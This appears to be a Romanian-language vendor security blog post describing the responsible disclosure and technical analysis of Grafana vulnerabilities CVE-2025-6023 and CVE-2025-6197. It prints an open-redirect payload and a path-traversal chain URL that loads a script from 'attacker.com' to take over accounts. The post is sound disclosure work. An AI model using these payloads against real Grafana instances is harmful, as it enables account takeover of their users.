Grafana este o platformă open-source de top pentru vizualizarea, analiza și monitorizarea datelor, permițând utilizatorilor să creeze tablouri de bord interactive prin agregarea datelor din mai multe surse. Cu peste 68 000 de stele pe GitHub și milioane de descărcări prin Docker Hub și alte depozite, Grafana a devenit o componentă critică în stivele moderne de monitorizare din toate industriile.
Adoptarea sa pe scară largă și rolul său critic în monitorizarea infrastructurii fac din Grafana o țintă principală pentru actorii amenințători. Securizarea acesteia este esențială pentru protejarea integrității și disponibilității mediilor de monitorizare din toate întreprinderile.
La OPSWAT, contribuim activ la comunitatea de securitate prin cercetarea și dezvăluirea responsabilă a vulnerabilităților din platformele utilizate pe scară largă, cum ar fi Grafana. În 2021, CVE-2021-39226, o vulnerabilitate critică a fost descoperită și dezvăluită în mod responsabil de TheBlackTurtle, un membru al Unității 515OPSWAT .
În plus față de aceste contribuții, OPSWAT sprijină, de asemenea, următoarea generație de talente în domeniul securității cibernetice prin inițiative de formare practică. Un astfel de program este OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, care oferă studenților experiență practică în identificarea și analizarea amenințărilor de securitate din lumea reală. Ca parte a acestui program, o nouă vulnerabilitate critică în Grafana, CVE-2025-6023, a fost descoperită de unul dintre bursierii noștri în timpul unui proiect de cercetare independent
Programul de burse OPSWAT și descoperirea vulnerabilităților critice
Programul OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship, cu sediul în Vietnam, oferă studenților absolvenți experiență practică în securizarea infrastructurilor critice. Bursierii colaborează activ cu experții în securitate cibernetică OPSWAT pentru a face față provocărilor din lumea reală legate de detectarea programelor malware, securitatea fișierelor și prevenirea amenințărilor.
Ca parte a acestui program riguros, participanții cercetează, reproduc și analizează în mod sistematic vulnerabilitățile cunoscute (CVE) într-o varietate de produse software, biblioteci și sisteme de operare sub îndrumarea experților OPSWAT . Hoa X. Nguyen, unul dintre bursierii noștri distinși, a ales Grafana ca subiect al proiectului său principal de cercetare.
În iunie 2025, în timpul unei revizuiri aprofundate a CVE-2025-4123 și a unei analize mai profunde a codului sursă al Grafana, Hoa X. Nguyen a identificat o vulnerabilitate necunoscută anterior în cadrul platformei. Problema implica înlănțuirea unui defect de redirecționare deschisă cu o vulnerabilitate CSPT (client-side path traversal), rezultând în cele din urmă Cross-Site Scripting (XSS) și preluarea completă a contului prin intermediul unui punct final diferit în Grafana.
În timp ce colaboram îndeaproape cu Unitatea 515, am descoperit nu doar unul, ci două lanțuri separate de exploatări care puteau duce fiecare la compromiterea completă a contului.
OPSWAT și-a continuat contribuția activă prin raportarea responsabilă a vulnerabilităților către Grafana. Problemele au fost recunoscute prompt, iar în versiunile ulterioare au fost publicate patch-uri. Aceste vulnerabilități au fost atribuite ulterior CVE-2025-6023 și CVE-2025-6197 și au fost de atunci listate public în baza de date națională privind vulnerabilitățile (NVD).
Cronologia CVE-2025-6023 & CVE-2025-6197
- 11 iunie 2025:Hoa X. Nguyen a identificat o vulnerabilitate în ultima versiune Grafana și a trimis un raport de securitate către Grafana.
- 11 iunie 2025: După discuții, Grafana a confirmat vulnerabilitatea și a atribuit CVE-2025-6023 cu severitate ridicată.
- 17 iunie 2025:Dat Phung de la Unitatea 515 a lucrat îndeaproape cu Hoa X. Nguyen și a descoperit un alt lanț de atacuri care exploatează vulnerabilitatea.
- 17 iunie 2025: Grafana a confirmat a doua vulnerabilitate și a atribuit CVE-2025-6197 cu gravitate medie.
- 17 iulie 2025: Grafana a lansat 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 și 11.3.8+security-01, introducând un patch îmbunătățit care a rezolvat eficient aceste vulnerabilități.
- 18 iulie 2025: National Vulnerability Database (NVD) a dezvăluit oficial CVE-2025-6023 și CVE-2025-6197.
Analiza tehnică a patch-ului incomplet și CVE-2025-6023
În mai 2025, CVE-2025-4123, o vulnerabilitate de mare gravitate în Grafana, a fost dezvăluită de Alvaro Balada. Defecțiunea a combinat traversarea căii pe partea clientului cu o redirecționare deschisă, permițând atacatorilor să livreze pluginuri front-end rău intenționate care execută JavaScript arbitrar în contextul de încredere al Grafana - rezultând în preluarea completă a contului. În cazurile în care accesul anonim a fost activat, nu a fost necesară nicio autentificare. În plus, în cazul în care pluginul Grafana Image Renderer era instalat, exploit-ul putea escalada la SSRF, expunând servicii interne sau metadate cloud.
Grafana a abordat problema cu actualizări de securitate în mai 2025, introducând patch-uri în versiunile 12.0.0+security01, 11.6.1+security01 și altele în ramurile 10.x-11.x. Remedierile au inclus îmbunătățiri ale politicii de securitate a conținutului (CSP) și o sanitizare mai strictă a redirecționărilor.
Ca parte a programului OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship, Hoa X. Nguyen a efectuat o analiză completă a CVE-2025-4123. Cercetarea sa a implicat ingineria inversă a fluxului de exploatare și evaluarea eficacității patch-ului furnizat. În timpul acestei investigații, Hoa a observat că, deși vulnerabilitatea este în esență o combinație de redirecționare deschisă și traversare a căii pe partea clientului, patch-ul pentru CVE-2025-4123 a abordat doar redirecționarea deschisă în staticHandler, printr-o verificare de igienizare a datelor introdusă în commit {ff20b06}.
Cu toate acestea, această atenuare parțială nu a abordat vectorul principal de atac. Riscul de bază a rămas: dacă un atacator ar putea identifica un punct final alternativ vulnerabil la redirecționări deschise, același lanț de exploatare ar putea exista în continuare și ar putea fi utilizat pentru a prelua controlul complet asupra contului - chiar și după aplicarea patch-ului. Cu această ipoteză în minte, Hoa a efectuat o revizuire mai aprofundată a codului sursă al bazei de cod Grafana. Prin acest efort, el a reușit să identifice un alt punct final vulnerabil: /user/auth-tokens/rotate.
Acest punct final este conceput pentru a regenera jetoanele de autentificare expirate. Un parametru de interogare redirectTo este utilizat pentru a direcționa utilizatorul către pagina de destinație după ce jetonul este reînnoit cu succes.
În cadrul unei implementări tipice, URL-ul de redirecționare este construit prin concatenarea valorii de configurare Cfg.AppSubURL cu parametrul redirectTo furnizat de utilizator. Cu toate acestea, în configurația implicită a Grafana, AppSubURL este nedefinită. Ca urmare, aplicația se bazează exclusiv pe valoarea brută a redirectTo atunci când formează calea de redirecționare.
Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.
Pentru acest mecanism de redirecționare, Grafana încearcă să reducă riscurile de securitate asociate cu datele de intrare furnizate de utilizator printr-o funcție de validare numită ValidateRedirectTo, care este menită să blocheze țintele de redirecționare nesigure - cum ar fi cele care încep cu //example.com - prin neadmiterea dublelor slashes la începutul căii:
Cu toate acestea, după cum s-a demonstrat în cercetarea originală a lui Alvaro Balada, această funcție poate fi ocolită folosind o bară oblică urmată de o bară oblică inversă (de exemplu, /\example.com), pe care browserele moderne o interpretează similar cu //example.com. În consecință, următoarea sarcină utilă poate fi utilizată pentru a realiza o redirecționare deschisă, presupunând că utilizatorul este autentificat:
/user/auth-tokens/rotate?redirectTo=/\example.com
Această constatare a lui Hoa X. Nguyen - împreună cu remedierea incompletă pentru CVE-2025-4123 - demonstrează că o preluare completă a contului Grafana rămâne posibilă.
La descoperirea acestei devieri, OPSWAT a raportat imediat problema echipei de dezvoltare Grafana. Ca răspuns, Grafana identificase deja atenuarea anterioară ca fiind incompletă prin discuții interne și planificase să abordeze problema într-o versiune viitoare înainte de raportul nostru. Ca urmare, raportul nostru a fost acceptat cu atribuirea unui nou CVE pentru vulnerabilitatea de redirecționare deschisă descoperită, clasificată cu gravitate medie.
CVE-2025-6023: Un nou lanț de exploatare care permite preluarea completă a contului
CVE-2025-4123 a evidențiat inițial o vulnerabilitate CSPT (client-side path traversal) în cadrul aplicației plugin front-end a Grafana. În raportul său inițial, Hoa X. Nguyen a combinat această problemă CSPT cunoscută cu o eroare de redirecționare deschisă recent descoperită pentru a crea un lanț de exploatare eficient. În ciuda impactului critic demonstrat, vulnerabilității i s-a atribuit doar o gravitate medie, deoarece Grafana recunoscuse deja la nivel intern natura incompletă a remedierii înainte de dezvăluirea CSPT.
Acest lucru a determinat o investigație mai aprofundată cu privire la existența unor defecte CSPT suplimentare în cadrul bazei de cod Grafana care - atunci când sunt combinate cu vulnerabilitatea de redirecționare deschisă recent descoperită - ar putea permite un lanț de exploatare complet independent. În cazul în care o astfel de vulnerabilitate CSPT a fost descoperită pe un alt punct final, aceasta ar putea justifica atribuirea aceluiași nivel ridicat de gravitate ca și CVE-2025-4123.
Descoperirea unui nou Endpoint vulnerabil
Motivat de această ipoteză, Hoa a efectuat o analiză aprofundată a codului sursă al Grafana. În timpul acestei analize, el a identificat un punct final vulnerabil suplimentar care permitea recuperarea dinamică și executarea de scripturi din surse arbitrare - fără validarea sau asanarea corespunzătoare a intrărilor. Acest comportament nesigur este asociat cu funcționalitatea de scripting a tabloului de bord Grafana, gestionată în mod specific prin următoarea rută:
/dashboard/:type/:slug
Această rută este procesată de middleware-ul responsabil cu gestionarea scripturilor din tabloul de bord. Mai exact, parametrul :slug este utilizat pentru a încărca și a executa scripturi în mod dinamic - fără o igienizare corespunzătoare - permițând astfel atacatorilor să creeze URL-uri rău intenționate și, eventual, să recreeze un lanț de exploatare similar cu cel din CVE-2025-4123.
Analiza mecanismului de scripting al tabloului de bord
Mecanismul de scripting al tabloului de bord Grafana utilizează componenta DashboardPageProxy pentru a gestiona cererile corespunzătoare rutei /dashboard/:type/:slug:
În cadrul DashboardPageProxy, fluxul de execuție se desfășoară după cum urmează:
Rezultatul returnat de DashboardPageProxy este derivat din executarea metodei stateManager.fetchDashboard(), care acceptă parametrii uid, type și slug extrași din calea URL. Pentru a analiza modul în care este construit acest răspuns, Hoa X.Nguyen a examinat obiectul stateManager și logica din cadrul metodei sale fetchDashboard(). StateManager este instanțiat prin intermediul funcției getDashboardScenePageStateManager(), care este definită în următorul fișier:
/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts
Deoarece stateManager este inițializat prin invocarea funcției getDashboardScenePageStateManager() fără niciun argument, după cum se arată în figura 2, se poate concluziona că obiectul returnat este o instanță a clasei UnifiedDashboardScenePageStateManager.
Prin urmare, pentru a înțelege comportamentul metodei fetchDashboard(), el a procedat la analiza implementării acesteia în cadrul clasei UnifiedDashboardScenePageStateManager:
În cadrul clasei UnifiedDashboardScenePageStateManager, metoda fetchDashboard() invocă mai întâi funcția withVersionHandling(). Această funcție este responsabilă de determinarea și returnarea instanței activeManager. Odată ce activeManager este construit, se apelează la metoda fetchDashboard() corespunzătoare instanței respective, transmițând parametrul opțiuni relevant.
Instanța activeManager este fie un obiect DashboardScenePageStateManager, fie un obiect DashboardScenePageStateManagerV2. Ambele clase implementează o logică similară pentru obținerea datelor din tabloul de bord. Următorul cod este preluat din clasa DashboardScenePageStateManager:
În cadrul metodei fetchDashboard() a clasei DashboardScenePageStateManager, se utilizează o instrucțiune de comutare pentru a determina logica de gestionare adecvată în funcție de tipul traseului. În cazul implicit, metoda apelează:
dashboardLoaderSrv.loadDashboard(type, slug, uid, query)
Acest apel inițiază procesul de încărcare a tabloului de bord solicitat. Implementarea de referință a funcției loadDashboard() poate fi găsită în următorul fișier:
/public/app/features/dashboard/services/DashboardLoad
În cadrul funcției loadDashboard(), sunt efectuate mai multe verificări condiționale pentru a determina fluxul de procesare adecvat. În cazul specific în care tipul este setat la "script" și există un slug, funcția invocă:
this.loadScriptedDashboard(slug)
Aici, slug-ul - provenit direct din datele introduse de utilizator - este transmis ca parametru către metoda loadScriptedDashboard(). Pentru a evalua fluxul de execuție și posibilele vulnerabilități introduse de acest apel, Hoa a continuat să analizeze implementarea metodei loadScriptedDashboard() în cadrul clasei DashboardLoaderSrvBase:
În metoda loadScriptedDashboard(), parametrul slug - ilustrat în figura 2 - este tratat ca un nume de fișier (șir de caractere) și utilizat pentru a construi url variabilă. Cu toate acestea, acest parametru nu este sanitizat în mod corespunzător. Implementarea aplică o expresie regulată pentru a înlocui toate caracterele punct (.), cu excepția celor imediat urmate de"js", cu o bară oblică înainte (/). Această filtrare parțială nu reușește să igienizeze corect intrarea, lăsând-o susceptibilă la manipularea căii și la atacuri de traversare.
Odată ce URL-ul este construit, script-ul încearcă să încarce tabloul de bord specificat prin invocarea getBackendSrv().get(url). Scriptul recuperat este apoi executat utilizând this.executeScript(code).
Această analiză l-a determinat în cele din urmă pe Hoa X. Nguyen să identifice o nouă vulnerabilitate CSPT (Client-Side Path Traversal) în ultima versiune a Grafana. Din cauza lipsei sanitizării sau validării intrărilor, un atacator poate manipula slug-ul pentru a crea o adresă URL care încarcă și execută un script malițios dintr-o sursă externă - replicând problema de bază identificată anterior în CVE-2025-4123 prin încărcarea script-urilor din tabloul de bord.
Atunci când este combinată cu vulnerabilitatea de redirecționare deschisă recent descoperită, această problemă permite un lanț complet de exploatare capabil să realizeze preluarea completă a contului. Un exemplu de sarcină utilă care demonstrează această exploatare este următorul:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>
De exemplu:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js
Fișierul malicious.js ar putea fi creat pentru a schimba adresa de e-mail și numele de utilizator ale victimei cu cele controlate de atacator. Acest lucru ar permite atacatorului să inițieze un proces de resetare a parolei la propria adresă de e-mail, ducând în final la preluarea completă a contului:
Dovada de concept pentru CVE-2025-6023
Acest videoclip prezintă impactul practic al CVE-2025-6023, demonstrând un scenariu complet de preluare a contului care afectează utilizatorii Grafana, descoperit de Hoa X. Nguyen, OPSWAT:
Atenuare și îndrumare
Pentru a atenua vulnerabilitățile discutate mai sus, vă rugăm să vă asigurați că sistemul dvs. este actualizat la cea mai recentă versiune a Grafana.
MetaDefender Core folosind motorul SBOM poate detecta această vulnerabilitate
OPSWAT MetaDefender Core, echipat cu capabilități avansate SBOMSoftware Bill of Materials), permite organizațiilor să adopte o abordare proactivă în abordarea riscurilor de securitate. Prin scanarea aplicațiilor software și a dependențelor acestora, MetaDefender Core identifică vulnerabilități cunoscute, precum CVE-2025-6023 și CVE-2025-6197, în cadrul componentelor enumerate. Acest lucru permite echipelor de dezvoltare și securitate să prioritizeze eforturile de aplicare a patch-urilor, reducând potențialele riscuri de securitate înainte ca acestea să poată fi exploatate de actori rău intenționați.
Mai jos este o captură de ecran a CVE-2025-6023 și CVE-2025-6197, care au fost detectate de MetaDefender Core cu SBOM:
În plus, CVE-urile pot fi detectate și de MetaDefender Software Supply Chain, care utilizează MetaDefender Core cu SBOM pentru a identifica aceste vulnerabilități.